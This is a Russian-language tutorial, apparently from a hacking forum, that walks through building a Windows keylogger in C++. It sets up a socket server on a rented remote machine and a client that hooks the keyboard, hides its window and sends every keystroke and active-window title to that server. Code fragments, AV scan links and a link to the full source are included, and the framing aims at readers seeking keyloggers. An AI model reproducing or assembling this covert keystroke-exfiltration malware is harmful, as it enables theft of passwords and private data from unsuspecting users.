Пишем кейлоггер на C++
ims0rryПредисловие
На протяжении, примерно, месяца я постоянно наблюдал за различными просьбами, вопросами насчет кейлоггеров. Многие искали, но не могли найти исходники, многие искали, но не могли найти продажники и т.д.
В этой статье я хочу показать, насколько просто написать самому кейлоггер с базовым функционалом. Базу я позаимствовал отсюда - https://simple-keylogger.github.io, пофиксил баги и доработал под взаимодействие с WinSocket.
Материалы
Visual Studio 2015 Community Update 4
Visual C++ 2015
Структура приложения
Для начала необходимо определить, как вообще будет работать кейлоггер. Будь то отсылка логов на FTP/Почту, запись нажатий в сокет, отправка файла на гейт, запись логов в бд.
Я решил остановится на сокетах. Почему? Это удобно, просто и юзабельно.
Исходя из выбора, нам нужно будет сделать 2 приложения:
Сервер
Консольное приложение, которое будет принимать данные от клиента и выдавать в консоли
Клиент
Собственно, сам кейлоггер, который будет отсылать нажатия клавиш на сервер
И начнем мы, пожалуй, с сервера.
Сервер
Создаем консольное C++ приложение в Visual Studio.
Весь код есть в оф. примере MSDN - https://msdn.microsoft.com/en-us/library/ms737593(VS.85).aspx
Нам лишь нужно заменить некоторые значения в нем...
Сразу пропишем константные переменные: величину буффера и порт сервера, на который будут приходить логи
#define DEFAULT_BUFLEN 1024 //Буффер #define DEFAULT_PORT "1337" //Порт
Вместо единоразового do/while ставим бесконечный цикл, в котором будем принимать данные от клиента, выводить их в консоль, закрывать соединение и по новой:
do { ClientSocket = accept(ListenSocket, NULL, NULL); //Принимаем коннект iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);//Считываем лог if (iResult > 0) //Если лог не пустой printf("%s", recvbuf); //Выводим closesocket(ClientSocket);//Закрываем соединение memset(recvbuf, 0, sizeof recvbuf);//Освобождаем память } while (true);
Компилируем в Release, закидываем на дедик, открываем нужный нам порт и запускаем
Клиент
Создаем приложение Win32 в Visual Studio.
Как я уже и говорил выше, хук клавиатуры и обработчик нажатий я взял с https://github.com/GiacomoLaw/Keylogger/blob/master/windows/klog_main.cpp
Чтоб прикрутить отправку нажатия на сокет я обратился к https://msdn.microsoft.com/en-us/library/ms737591(VS.85).aspx
Так же, сразу определяем константные переменные: длину буффера, айпи дедика/компа и порт
#define DEFAULT_BUFLEN 20000 #define SERVER_IP "127.0.0.1" #define SERVER_PORT "1337"
Некоторые переменные пришлось вытащить из их методов и сделать глобальными, чтобы код начал работать корректно:
WSADATA wsaData; SOCKET ConnectSocket = INVALID_SOCKET; HHOOK _hook;KBDLLHOOKSTRUCT kbdStruct; char lastwindow[256]; int Save(int key_stroke);// Убрал второй аргумент
Создаем метод отправки данных на сервер по примеру, который был в начале абзаца. Далее, везде заменяем порт, айпи и передаваемую инфу на аргументы функции:
void sendData(char *ip, char * port, char*data)
В методе Save делаем следующее - убираем второй аргумент и меняем запись логов в файл на отправку к серверу:
char data[DEFAULT_BUFLEN]; sprintf(data, "\n\n[Window: %s - at %s]\n", window_title, s); sendData(SERVER_IP, SERVER_PORT, data);
Далее, по такому же принципу, меняем отправку в нажатиях служебных клавиш. Отправку букв можно сделать таким образом:
char c[512]; sprintf(c, "%c", key_stroke); sendData(SERVER_IP, SERVER_PORT, c);
Вырезаем все что связано с видимостью окна из кода, и, готово.
Итог
При запуске кейлоггера, он повиснет в процессах и будет обрабатывать каждое нажатие на клавиатуре. Возможно, некоторые символы будут отображаться некорректно, например, слеши, но все это можно исправить самому (ведь если бы все было идеально, ко мне в личку стучал Иисус с просьбой проверить продажник приватного кейлоггера).
Лог будет выглядеть так:
Ссылки
Сигнатурные сканы (не спрашивайте зачем просканил сервер, просто так):
Keylogger - http://viruscheckmate.com/id/ouECJftx3iK9
Server - http://viruscheckmate.com/id/xs88mfKIcACZ
Кейлоггер, взятый за основу - https://simple-keylogger.github.io
Сокет-сервер - https://msdn.microsoft.com/en-us/library/ms737593(VS.85).aspx
Сокет-клиент - https://msdn.microsoft.com/en-us/library/ms737591(VS.85).aspx
Готовые исходники проекта - https://github.com/ims0rry/Socket-keylogger
-----------------------------